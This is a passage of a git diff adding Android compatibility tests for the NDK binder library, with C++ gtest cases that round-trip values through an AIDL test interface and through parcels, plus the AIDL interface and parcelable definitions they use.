+  EXPECT_EQ(-1, in.get());
+
+  ScopedFileDescriptor out;
+  ASSERT_OK(iface->RepeatNullableFd(in, &out));
+
+  EXPECT_EQ(-1, out.get());
+}
+
+TEST_P(NdkBinderTest_Aidl, RepeatString) {
+  std::string res;
+
+  EXPECT_OK(iface->RepeatString("", &res));
+  EXPECT_EQ("", res);
+
+  EXPECT_OK(iface->RepeatString("a", &res));
+  EXPECT_EQ("a", res);
+
+  EXPECT_OK(iface->RepeatString("say what?", &res));
+  EXPECT_EQ("say what?", res);
+}
+
+TEST_P(NdkBinderTest_Aidl, RepeatNullableString) {
+  std::optional<std::string> res;
+
+  EXPECT_OK(iface->RepeatNullableString(std::nullopt, &res));
+  EXPECT_EQ(std::nullopt, res);
+
+  EXPECT_OK(iface->RepeatNullableString("", &res));
+  EXPECT_EQ("", *res);
+
+  EXPECT_OK(iface->RepeatNullableString("a", &res));
+  EXPECT_EQ("a", *res);
+
+  EXPECT_OK(iface->RepeatNullableString("say what?", &res));
+  EXPECT_EQ("say what?", *res);
+}
+
+TEST_P(NdkBinderTest_Aidl, ParcelableDefaults) {
+  RegularPolygon polygon;
+
+  EXPECT_EQ("square", polygon.name);
+  EXPECT_EQ(4, polygon.numSides);
+  EXPECT_EQ(1.0f, polygon.sideLength);
+}
+
+TEST_P(NdkBinderTest_Aidl, RepeatPolygon) {
+  RegularPolygon defaultPolygon = {"hexagon", 6, 2.0f};
+  RegularPolygon outputPolygon;
+  ASSERT_OK(iface->RepeatPolygon(defaultPolygon, &outputPolygon));
+  EXPECT_EQ("hexagon", outputPolygon.name);
+  EXPECT_EQ(defaultPolygon.numSides, outputPolygon.numSides);
+  EXPECT_EQ(defaultPolygon.sideLength, outputPolygon.sideLength);
+}
+
+TEST_P(NdkBinderTest_Aidl, InsAndOuts) {
+  RegularPolygon defaultPolygon;
+  ASSERT_OK(iface->RenamePolygon(&defaultPolygon, "Jerry"));
+  EXPECT_EQ("Jerry", defaultPolygon.name);
+}
+
+TEST_P(NdkBinderTest_Aidl, RenameFoo) {
+  Foo foo;
+  Foo outputFoo;
+  ASSERT_OK(iface->renameFoo(&foo, "MYFOO"));
+
+  EXPECT_EQ("MYFOO", foo.a);
+}
+
+TEST_P(NdkBinderTest_Aidl, RenameBar) {
+  Foo foo;
+  Foo outputFoo;
+  ASSERT_OK(iface->renameBar(&foo, "MYBAR"));
+
+  EXPECT_EQ("MYBAR", foo.d.a);
+}
+
+TEST_P(NdkBinderTest_Aidl, GetLastItem) {
+  Foo foo;
+  foo.f = 15;
+  int retF;
+  ASSERT_OK(iface->getF(foo, &retF));
+  EXPECT_EQ(15, retF);
+}
+
+TEST_P(NdkBinderTest_Aidl, RepeatFoo) {
+  Foo foo;
+  foo.a = "NEW FOO";
+  foo.b = 57;
+  foo.d.b = "a";
+  foo.e.d = 99;
+  Foo retFoo;
+
+  ASSERT_OK(iface->repeatFoo(foo, &retFoo));
+
+  EXPECT_EQ(foo.a, retFoo.a);
+  EXPECT_EQ(foo.b, retFoo.b);
+  EXPECT_EQ(foo.d.b, retFoo.d.b);
+  EXPECT_EQ(foo.e.d, retFoo.e.d);
+}
+
+template <typename T>
+using RepeatMethod = ScopedAStatus (ITest::*)(const std::vector<T>&,
+                                              std::vector<T>*, std::vector<T>*);
+
+namespace aidl {
+namespace test_package {
+inline bool operator==(const RegularPolygon& lhs, const RegularPolygon& rhs) {
+  return lhs.name == rhs.name && lhs.numSides == rhs.numSides && lhs.sideLength == rhs.sideLength;
+}
+inline bool operator==(const std::vector<RegularPolygon>& lhs,
+                       const std::vector<RegularPolygon>& rhs) {
+  if (lhs.size() != rhs.size()) return false;
+  for (size_t i = 0; i < lhs.size(); i++) {
+    if (!(lhs[i] == rhs[i])) return false;
+  }
+  return true;
+}
+}  // namespace test_package
+}  // namespace aidl
+
+template <typename T>
+void testRepeat(const std::shared_ptr<ITest>& i, RepeatMethod<T> repeatMethod,
+                std::vector<std::vector<T>> tests) {
+  for (const auto& input : tests) {
+    std::vector<T> out1;
+    out1.resize(input.size());
+    std::vector<T> out2;
+
+    ASSERT_OK((i.get()->*repeatMethod)(input, &out1, &out2)) << input.size();
+    EXPECT_EQ(input, out1);
+    EXPECT_EQ(input, out2);
+  }
+}
+
+TEST_P(NdkBinderTest_Aidl, Arrays) {
+  testRepeat<bool>(iface, &ITest::RepeatBooleanArray,
+                   {
+                       {},
+                       {true},
+                       {false, true, false},
+                   });
+  testRepeat<int8_t>(iface, &ITest::RepeatByteArray,
+                     {
+                         {},
+                         {1},
+                         {1, 2, 3},
+                     });
+  testRepeat<char16_t>(iface, &ITest::RepeatCharArray,
+                       {
+                           {},
+                           {L'@'},
+                           {L'@', L'!', L'A'},
+                       });
+  testRepeat<int32_t>(iface, &ITest::RepeatIntArray,
+                      {
+                          {},
+                          {1},
+                          {1, 2, 3},
+                      });
+  testRepeat<int64_t>(iface, &ITest::RepeatLongArray,
+                      {
+                          {},
+                          {1},
+                          {1, 2, 3},
+                      });
+  testRepeat<float>(iface, &ITest::RepeatFloatArray,
+                    {
+                        {},
+                        {1.0f},
+                        {1.0f, 2.0f, 3.0f},
+                    });
+  testRepeat<double>(iface, &ITest::RepeatDoubleArray,
+                     {
+                         {},
+                         {1.0},
+                         {1.0, 2.0, 3.0},
+                     });
+  testRepeat<std::string>(iface, &ITest::RepeatStringArray,
+                          {
+                              {},
+                              {"asdf"},
+                              {"", "aoeu", "lol", "brb"},
+                          });
+  testRepeat<RegularPolygon>(iface, &ITest::RepeatRegularPolygonArray,
+                             {
+                                 {},
+                                 {{"hexagon", 6, 2.0f}},
+                                 {{"hexagon", 6, 2.0f}, {"square", 4, 7.0f}, {"pentagon", 5, 4.2f}},
+                             });
+}
+
+template <typename T>
+using RepeatNullableMethod = ScopedAStatus (ITest::*)(
+    const std::optional<std::vector<std::optional<T>>>&,
+    std::optional<std::vector<std::optional<T>>>*,
+    std::optional<std::vector<std::optional<T>>>*);
+
+template <typename T>
+void testRepeat(
+    const std::shared_ptr<ITest>& i, RepeatNullableMethod<T> repeatMethod,
+    std::vector<std::optional<std::vector<std::optional<T>>>> tests) {
+  for (const auto& input : tests) {
+    std::optional<std::vector<std::optional<T>>> out1;
+    if (input) {
+      out1 = std::vector<std::optional<T>>{};
+      out1->resize(input->size());
+    }
+    std::optional<std::vector<std::optional<T>>> out2;
+
+    ASSERT_OK((i.get()->*repeatMethod)(input, &out1, &out2))
+        << (input ? input->size() : -1);
+    EXPECT_EQ(input, out1);
+    EXPECT_EQ(input, out2);
+  }
+}
+
+template <typename T>
+using SingleRepeatNullableMethod = ScopedAStatus (ITest::*)(
+    const std::optional<std::vector<T>>&, std::optional<std::vector<T>>*);
+
+template <typename T>
+void testRepeat(const std::shared_ptr<ITest>& i,
+                SingleRepeatNullableMethod<T> repeatMethod,
+                std::vector<std::optional<std::vector<T>>> tests) {
+  for (const auto& input : tests) {
+    std::optional<std::vector<T>> ret;
+    ASSERT_OK((i.get()->*repeatMethod)(input, &ret))
+        << (input ? input->size() : -1);
+    EXPECT_EQ(input, ret);
+  }
+}
+
+TEST_P(NdkBinderTest_Aidl, NullableArrays) {
+  testRepeat<bool>(iface, &ITest::RepeatNullableBooleanArray,
+                   {
+                       std::nullopt,
+                       {{}},
+                       {{true}},
+                       {{false, true, false}},
+                   });
+  testRepeat<int8_t>(iface, &ITest::RepeatNullableByteArray,
+                     {
+                         std::nullopt,
+                         {{}},
+                         {{1}},
+                         {{1, 2, 3}},
+                     });
+  testRepeat<char16_t>(iface, &ITest::RepeatNullableCharArray,
+                       {
+                           std::nullopt,
+                           {{}},
+                           {{L'@'}},
+                           {{L'@', L'!', L'A'}},
+                       });
+  testRepeat<int32_t>(iface, &ITest::RepeatNullableIntArray,
+                      {
+                          std::nullopt,
+                          {{}},
+                          {{1}},
+                          {{1, 2, 3}},
+                      });
+  testRepeat<int64_t>(iface, &ITest::RepeatNullableLongArray,
+                      {
+                          std::nullopt,
+                          {{}},
+                          {{1}},
+                          {{1, 2, 3}},
+                      });
+  testRepeat<float>(iface, &ITest::RepeatNullableFloatArray,
+                    {
+                        std::nullopt,
+                        {{}},
+                        {{1.0f}},
+                        {{1.0f, 2.0f, 3.0f}},
+                    });
+  testRepeat<double>(iface, &ITest::RepeatNullableDoubleArray,
+                     {
+                         std::nullopt,
+                         {{}},
+                         {{1.0}},
+                         {{1.0, 2.0, 3.0}},
+                     });
+  testRepeat<std::optional<std::string>>(
+      iface, &ITest::RepeatNullableStringArray,
+      {
+          std::nullopt,
+          {{}},
+          {{"asdf"}},
+          {{std::nullopt}},
+          {{"aoeu", "lol", "brb"}},
+          {{"", "aoeu", std::nullopt, "brb"}},
+      });
+  testRepeat<std::string>(iface, &ITest::DoubleRepeatNullableStringArray,
+                          {
+                              {{}},
+                              {{"asdf"}},
+                              {{std::nullopt}},
+                              {{"aoeu", "lol", "brb"}},
+                              {{"", "aoeu", std::nullopt, "brb"}},
+                          });
+}
+
+class DefaultImpl : public ::aidl::test_package::ITestDefault {
+ public:
+  ::ndk::ScopedAStatus NewMethodThatReturns10(int32_t* _aidl_return) override {
+    *_aidl_return = 100;  // default impl returns different value
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+};
+
+TEST_P(NdkBinderTest_Aidl, NewMethod) {
+  std::shared_ptr<ITest> default_impl = SharedRefBase::make<DefaultImpl>();
+  ::aidl::test_package::ITest::setDefaultImpl(default_impl);
+
+  int32_t res;
+  EXPECT_OK(iface->NewMethodThatReturns10(&res));
+  if (GetParam().shouldBeOld) {
+    // Remote was built with version 1 interface which does not have
+    // "NewMethodThatReturns10". In this case the default method
+    // which returns 100 is called.
+    EXPECT_EQ(100, res);
+  } else {
+    // Remote is built with the current version of the interface.
+    // The method returns 10.
+    EXPECT_EQ(10, res);
+  }
+}
+
+TEST_P(NdkBinderTest_Aidl, GetInterfaceVersion) {
+  int32_t res;
+  EXPECT_OK(iface->getInterfaceVersion(&res));
+  if (GetParam().shouldBeOld) {
+    EXPECT_EQ(1, res);
+  } else {
+    // 10000 is the not-yet-frozen version
+    EXPECT_EQ(10000, res);
+  }
+}
+
+std::shared_ptr<ITest> getLocalService() {
+  // BpTest -> AIBinder -> test
+  std::shared_ptr<MyTest> test = SharedRefBase::make<MyTest>();
+  return BpTest::associate(test->asBinder());
+}
+
+std::shared_ptr<ITest> getNdkBinderTestJavaService(const std::string& method) {
+  JNIEnv* env = GetEnv();
+  if (env == nullptr) {
+    std::cout << "No environment" << std::endl;
+    return nullptr;
+  }
+
+  jclass cl = env->FindClass("android/binder/cts/NdkBinderTest");
+  if (cl == nullptr) {
+    std::cout << "No class" << std::endl;
+    return nullptr;
+  }
+
+  jmethodID mid =
+      env->GetStaticMethodID(cl, method.c_str(), "()Landroid/os/IBinder;");
+  if (mid == nullptr) {
+    std::cout << "No method id" << std::endl;
+    return nullptr;
+  }
+
+  jobject object = env->CallStaticObjectMethod(cl, mid);
+  if (object == nullptr) {
+    std::cout << "Got null service from Java" << std::endl;
+    return nullptr;
+  }
+
+  SpAIBinder binder = SpAIBinder(AIBinder_fromJavaBinder(env, object));
+
+  return BpTest::associate(binder);
+}
+
+INSTANTIATE_TEST_CASE_P(LocalNative, NdkBinderTest_Aidl,
+                        ::testing::Values(Params{getLocalService(), false /*shouldBeRemote*/, "CPP",
+                                                 false /*shouldBeOld*/}));
+INSTANTIATE_TEST_CASE_P(
+    LocalNativeFromJava, NdkBinderTest_Aidl,
+    ::testing::Values(Params{
+        getNdkBinderTestJavaService("getLocalNativeService"),
+        false /*shouldBeRemote*/, "CPP", false /*shouldBeOld*/}));
+INSTANTIATE_TEST_CASE_P(LocalJava, NdkBinderTest_Aidl,
+                        ::testing::Values(Params{getNdkBinderTestJavaService("getLocalJavaService"),
+                                                 false /*shouldBeRemote*/, "JAVA",
+                                                 false /*shouldBeOld*/}));
+INSTANTIATE_TEST_CASE_P(
+    RemoteNative, NdkBinderTest_Aidl,
+    ::testing::Values(Params{
+        getNdkBinderTestJavaService("getRemoteNativeService"),
+        true /*shouldBeRemote*/, "CPP", false /*shouldBeOld*/}));
+INSTANTIATE_TEST_CASE_P(RemoteJava, NdkBinderTest_Aidl,
+                        ::testing::Values(Params{
+                            getNdkBinderTestJavaService("getRemoteJavaService"),
+                            true /*shouldBeRemote*/, "JAVA", false /*shouldBeOld*/}));
+
+INSTANTIATE_TEST_CASE_P(RemoteNativeOld, NdkBinderTest_Aidl,
+                        ::testing::Values(Params{
+                            getNdkBinderTestJavaService("getRemoteOldNativeService"),
+                            true /*shouldBeRemote*/, "CPP", true /*shouldBeOld*/}));
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_package/Bar.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/Bar.aidl
new file mode 100644
index 0000000..4332c20
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/Bar.aidl
@@ -0,0 +1,10 @@
+package test_package;
+
+parcelable Bar {
+    String a="BAR";
+    String b="BAR2";
+    float c=4.2f;
+    int d=100;
+    // This field doesn't exist in version 1.
+    String e="HELLO";
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_package/Foo.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/Foo.aidl
new file mode 100644
index 0000000..8fb53e2
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/Foo.aidl
@@ -0,0 +1,14 @@
+package test_package;
+
+import test_package.Bar;
+
+parcelable Foo {
+    String a="FOO";
+    int b=42;
+    float c=3.14f;
+    Bar d;
+    Bar e;
+    int f=3;
+    // This field doesn't exist in version 1.
+    @nullable String[] g;
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_package/IEmpty.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/IEmpty.aidl
new file mode 100644
index 0000000..50c6cfa
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/IEmpty.aidl
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package test_package;
+
+// What did you expect?
+interface IEmpty {}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_package/ITest.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/ITest.aidl
new file mode 100644
index 0000000..1061b94
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/ITest.aidl
@@ -0,0 +1,105 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package test_package;
+
+import test_package.IEmpty;
+import test_package.RegularPolygon;
+import test_package.Foo;
+
+// This test interface is used in order to test the all of the things that AIDL can generate which
+// build on top of the NDK.
+//
+// Repeat => return the same value. This is used to keep the clients/tests simple.
+interface ITest {
+    const int kZero = 0;
+    const int kOne = 1;
+    const int kOnes = 0xffffffff;
+    const String kEmpty = "";
+    const String kFoo = "foo";
+
+    String GetName();
+
+    void TestVoidReturn();
+    oneway void TestOneway();
+
+    int GiveMeMyCallingPid();
+    int GiveMeMyCallingUid();
+
+    // This must be called before calling one of the give-me methods below
+    oneway void CacheCallingInfoFromOneway();
+    int GiveMeMyCallingPidFromOneway();
+    int GiveMeMyCallingUidFromOneway();
+
+    // Sending/receiving primitive types.
+    int RepeatInt(int value);
+    long RepeatLong(long value);
+    float RepeatFloat(float value);
+    double RepeatDouble(double value);
+    boolean RepeatBoolean(boolean value);
+    char RepeatChar(char value);
+    byte RepeatByte(byte value);
+
+    IBinder RepeatBinder(IBinder value);
+    @nullable IBinder RepeatNullableBinder(@nullable IBinder value);
+    IEmpty RepeatInterface(IEmpty value);
+    @nullable IEmpty RepeatNullableInterface(@nullable IEmpty value);
+
+    ParcelFileDescriptor RepeatFd(in ParcelFileDescriptor fd);
+    @nullable ParcelFileDescriptor RepeatNullableFd(in @nullable ParcelFileDescriptor fd);
+
+    String RepeatString(String value);
+    @nullable String RepeatNullableString(@nullable String value);
+
+    RegularPolygon RepeatPolygon(in RegularPolygon value);
+
+    // Testing inout
+    void RenamePolygon(inout RegularPolygon value, String newName);
+
+    // Arrays
+    boolean[] RepeatBooleanArray(in boolean[] input, out boolean[] repeated);
+    byte[] RepeatByteArray(in byte[] input, out byte[] repeated);
+    char[] RepeatCharArray(in char[] input, out char[] repeated);
+    int[] RepeatIntArray(in int[] input, out int[] repeated);
+    long[] RepeatLongArray(in long[] input, out long[] repeated);
+    float[] RepeatFloatArray(in float[] input, out float[] repeated);
+    double[] RepeatDoubleArray(in double[] input, out double[] repeated);
+    String[] RepeatStringArray(in String[] input, out String[] repeated);
+    RegularPolygon[] RepeatRegularPolygonArray(in RegularPolygon[] input, out RegularPolygon[] repeated);
+
+    // Nullable Arrays
+    @nullable boolean[] RepeatNullableBooleanArray(in @nullable boolean[] input);
+    @nullable byte[] RepeatNullableByteArray(in @nullable byte[] input);
+    @nullable char[] RepeatNullableCharArray(in @nullable char[] input);
+    @nullable int[] RepeatNullableIntArray(in @nullable int[] input);
+    @nullable long[] RepeatNullableLongArray(in @nullable long[] input);
+    @nullable float[] RepeatNullableFloatArray(in @nullable float[] input);
+    @nullable double[] RepeatNullableDoubleArray(in @nullable double[] input);
+    @nullable String[] RepeatNullableStringArray(in @nullable String[] input);
+
+    // Nullable Arrays where each individual element can be nullable
+    // (specifically for testing out parameters)
+    @nullable String[] DoubleRepeatNullableStringArray(
+        in @nullable String[] input, out @nullable String[] repeated);
+
+    Foo repeatFoo(in Foo inFoo);
+    void renameFoo(inout Foo foo, String name);
+    void renameBar(inout Foo foo, String name);
+    int getF(in Foo foo);
+
+    // Methods that do not exist in version 1
+    int NewMethodThatReturns10();
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_package/RegularPolygon.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/RegularPolygon.aidl
new file mode 100644
index 0000000..d3de6de
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/RegularPolygon.aidl
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package test_package;
+
+parcelable RegularPolygon {
+    String name = "square";
+    int numSides = 4;
+    float sideLength = 1.0f;
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_parcel.cpp b/tests/tests/binder_ndk/libbinder_ndk_test/test_parcel.cpp
new file mode 100644
index 0000000..80c7313
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_parcel.cpp
@@ -0,0 +1,369 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define LOG_TAG "Cts-NdkBinderTest"
+
+#include <android/binder_ibinder.h>
+#include <android/binder_parcel.h>
+#include <android/binder_parcel_utils.h>
+#include <android/log.h>
+#include <gtest/gtest.h>
+
+#include "utilities.h"
+
+#include <limits>
+#include <vector>
+
+class NdkBinderTest_AParcel : public NdkBinderTest {};
+
+template <typename T, typename Enable = void>
+struct WriteFrom {
+  using type = const T;
+};
+template <>
+struct WriteFrom<AStatus*> {
+  // not 'const T' = 'AStatus* const' where T = AStatus*.
+  using type = const AStatus*;
+};
+
+template <typename T>
+bool NdkBinderSenseOfEquality(T a, T b) {
+  return a == b;
+}
+template <>
+bool NdkBinderSenseOfEquality<const AStatus*>(const AStatus* a,
+                                              const AStatus* b) {
+  if (a == b) return true;
+
+  return AStatus_isOk(a) == AStatus_isOk(b) &&
+         AStatus_getExceptionCode(a) == AStatus_getExceptionCode(b) &&
+         AStatus_getServiceSpecificError(a) ==
+             AStatus_getServiceSpecificError(b) &&
+         AStatus_getStatus(a) == AStatus_getStatus(b) &&
+         std::string(AStatus_getMessage(a)) == AStatus_getMessage(b);
+}
+template <>
+bool NdkBinderSenseOfEquality<AStatus*>(AStatus* a, AStatus* b) {
+  return NdkBinderSenseOfEquality<const AStatus*>(a, b);
+}
+
+// These reads and writes an array of possible values all of the same type.
+template <typename T,
+          binder_status_t (*write)(AParcel*, typename WriteFrom<T>::type),
+          binder_status_t (*read)(const AParcel*, T*)>
+void ExpectInOut(std::vector<T> in) {
+  AIBinder* binder = SampleData::newBinder(
+      [](transaction_code_t, const AParcel* in, AParcel* out) {
+        T readTarget = {};
+        EXPECT_OK(read(in, &readTarget));
+        EXPECT_OK(write(out, readTarget));
+        return STATUS_OK;
+      },
+      ExpectLifetimeTransactions(in.size()));
+
+  for (const auto& value : in) {
+    EXPECT_OK(SampleData::transact(
+        binder, kCode,
+        [&](AParcel* in) {
+          EXPECT_OK(write(in, value));
+          return STATUS_OK;
+        },
+        [&](const AParcel* out) {
+          T readTarget = {};
+          EXPECT_OK(read(out, &readTarget));
+          EXPECT_TRUE(NdkBinderSenseOfEquality<T>(value, readTarget))
+              << value << " is not " << readTarget;
+          return STATUS_OK;
+        }));
+  }
+
+  AIBinder_decStrong(binder);
+}
+
+template <typename T,
+          binder_status_t (*write)(AParcel*, typename WriteFrom<T>::type),
+          binder_status_t (*read)(const AParcel*, T*)>
+void ExpectInOutMinMax() {
+  ExpectInOut<T, write, read>(
+      {std::numeric_limits<T>::min(), std::numeric_limits<T>::max()});
+}
+
+TEST_F(NdkBinderTest_AParcel, BindersInMustComeOut) {
+  AIBinder* binder = SampleData::newBinder();
+
+  ExpectInOut<AIBinder*, AParcel_writeStrongBinder, AParcel_readStrongBinder>(
+      {binder});
+  // copy which is read when this binder is sent in a transaction to this
+  // process
+  AIBinder_decStrong(binder);
+  // copy which is read when this binder is returned in a transaction within
+  // this same process and is read again
+  AIBinder_decStrong(binder);
+
+  ExpectInOut<AIBinder*, AParcel_writeStrongBinder, AParcel_readStrongBinder>(
+      {nullptr, binder});
+  // copy which is read when this binder is sent in a transaction to this
+  // process
+  AIBinder_decStrong(binder);
+  // copy which is read when this binder is returned in a transaction within
+  // this same process and is read again
+  AIBinder_decStrong(binder);
+
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AParcel, StatusesInMustComeOut) {
+  // This does not clean up status objects.
+  ExpectInOut<AStatus*, AParcel_writeStatusHeader, AParcel_readStatusHeader>({
+      AStatus_newOk(),
+      AStatus_fromExceptionCode(EX_ILLEGAL_ARGUMENT),
+      AStatus_fromExceptionCodeWithMessage(EX_ILLEGAL_ARGUMENT,
+                                           "+++++++++[->++++++++<]>.+."),
+      AStatus_fromServiceSpecificError(1776),
+      AStatus_fromServiceSpecificErrorWithMessage(0xBEA, "utiful!"),
+  });
+}
+
+TEST_F(NdkBinderTest_AParcel, LowLevelErrorsHaveNoStatusHeader) {
+  AIBinder* binder =
+      SampleData::newBinder(nullptr, ExpectLifetimeTransactions(0));
+
+  EXPECT_EQ(
+      STATUS_UNKNOWN_ERROR,
+      SampleData::transact(binder, kCode, [&](AParcel* in) {
+        AStatus* status = nullptr;
+
+        status = AStatus_fromExceptionCode(EX_TRANSACTION_FAILED);
+        EXPECT_EQ(STATUS_FAILED_TRANSACTION,
+                  AParcel_writeStatusHeader(in, status));
+        AStatus_delete(status);
+
+        status = AStatus_fromExceptionCodeWithMessage(EX_TRANSACTION_FAILED,
+                                                      "something or other");
+        EXPECT_EQ(STATUS_FAILED_TRANSACTION,
+                  AParcel_writeStatusHeader(in, status));
+        AStatus_delete(status);
+
+        status = AStatus_fromStatus(STATUS_UNKNOWN_ERROR);
+        EXPECT_EQ(STATUS_UNKNOWN_ERROR, AParcel_writeStatusHeader(in, status));
+        AStatus_delete(status);
+
+        status = AStatus_fromStatus(STATUS_BAD_VALUE);
+        EXPECT_EQ(STATUS_BAD_VALUE, AParcel_writeStatusHeader(in, status));
+        AStatus_delete(status);
+
+        return STATUS_UNKNOWN_ERROR;
+      }));
+
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AParcel, WhatGoesInMustComeOut) {
+  ExpectInOut<int32_t, AParcel_writeInt32, AParcel_readInt32>(
+      {-7, -1, 0, 1, 45});
+  ExpectInOut<uint32_t, AParcel_writeUint32, AParcel_readUint32>(
+      {0, 1, 2, 100});
+  ExpectInOut<int64_t, AParcel_writeInt64, AParcel_readInt64>(
+      {-7, -1, 0, 1, 45});
+  ExpectInOut<uint64_t, AParcel_writeUint64, AParcel_readUint64>(
+      {0, 1, 2, 100});
+  ExpectInOut<float, AParcel_writeFloat, AParcel_readFloat>(
+      {-1.0f, 0.0f, 1.0f, 0.24975586f, 0.3f});
+  ExpectInOut<double, AParcel_writeDouble, AParcel_readDouble>(
+      {-1.0, 0.0, 1.0, 0.24975586, 0.3});
+
+  ExpectInOut<bool, AParcel_writeBool, AParcel_readBool>({true, false});
+  ExpectInOut<char16_t, AParcel_writeChar, AParcel_readChar>(
+      {L'\0', L'S', L'@', L'\n'});
+  ExpectInOut<int8_t, AParcel_writeByte, AParcel_readByte>({-7, -1, 0, 1, 45});
+}
+
+TEST_F(NdkBinderTest_AParcel, ExtremeValues) {
+  ExpectInOutMinMax<int32_t, AParcel_writeInt32, AParcel_readInt32>();
+  ExpectInOutMinMax<uint32_t, AParcel_writeUint32, AParcel_readUint32>();
+  ExpectInOutMinMax<int64_t, AParcel_writeInt64, AParcel_readInt64>();
+  ExpectInOutMinMax<uint64_t, AParcel_writeUint64, AParcel_readUint64>();
+  ExpectInOutMinMax<float, AParcel_writeFloat, AParcel_readFloat>();
+  ExpectInOutMinMax<double, AParcel_writeDouble, AParcel_readDouble>();
+  ExpectInOutMinMax<bool, AParcel_writeBool, AParcel_readBool>();
+  ExpectInOutMinMax<char16_t, AParcel_writeChar, AParcel_readChar>();
+  ExpectInOutMinMax<int8_t, AParcel_writeByte, AParcel_readByte>();
+}
+
+TEST_F(NdkBinderTest_AParcel, NonNullTerminatedString) {
+  // This is a helper to write a vector of strings which are not
+  // null-terminated. It has infinite length, and every element is the same
+  // value (element.substr(0, elementLen)). However, when it is written, no
+  // copies of element are made to produce a null-terminated string.
+  struct PartialStringCycle {
+    // every element of the vector is a prefix of this string
+    const std::string& element;
+    // this is the number of characters of the string to write, < element.size()
+    int32_t elementLen;
+
+    binder_status_t writeToParcel(AParcel* p, size_t length) const {
+      return AParcel_writeStringArray(p, static_cast<const void*>(this), length,
+                                      ElementGetter);
+    }
+
+   private:
+    static const char* ElementGetter(const void* vectorData, size_t /*index*/, int32_t* outLength) {
+      const PartialStringCycle* vector =
+          static_cast<const PartialStringCycle*>(vectorData);
+
+      *outLength = vector->elementLen;
+      return vector->element.c_str();
+    }
+  };
+
+  const std::string kTestcase = "aoeuhtns";
+
+  for (size_t i = 0; i < kTestcase.size(); i++) {
+    const std::string expectedString = kTestcase.substr(0, i);
+    const std::vector<std::string> expectedVector = {expectedString,
+                                                     expectedString};
+
+    const PartialStringCycle writeVector{.element = kTestcase,
+                                         .elementLen = static_cast<int32_t>(i)};
+
+    AIBinder* binder = SampleData::newBinder(
+        [&](transaction_code_t, const AParcel* in, AParcel* /*out*/) {
+          std::string readString;
+          EXPECT_OK(::ndk::AParcel_readString(in, &readString));
+          EXPECT_EQ(expectedString, readString);
+
+          std::vector<std::string> readVector;
+          EXPECT_OK(::ndk::AParcel_readVector(in, &readVector));
+          EXPECT_EQ(expectedVector, readVector);
+
+          return STATUS_OK;
+        },
+        ExpectLifetimeTransactions(1));
+
+    EXPECT_OK(SampleData::transact(
+        binder, kCode,
+        [&](AParcel* in) {
+          EXPECT_OK(AParcel_writeString(in, kTestcase.c_str(), i));
+          EXPECT_OK(writeVector.writeToParcel(in, expectedVector.size()));
+          return STATUS_OK;
+        },
+        ReadNothingFromParcel));
+
+    AIBinder_decStrong(binder);
+  }
+}
+
+TEST_F(NdkBinderTest_AParcel, CantReadFromEmptyParcel) {
+  AIBinder* binder = SampleData::newBinder(TransactionsReturn(STATUS_OK),
+                                           ExpectLifetimeTransactions(1));
+
+  EXPECT_OK(SampleData::transact(
+      binder, kCode, WriteNothingToParcel, [&](const AParcel* out) {
+        bool readTarget = false;
+        EXPECT_EQ(STATUS_NOT_ENOUGH_DATA, AParcel_readBool(out, &readTarget));
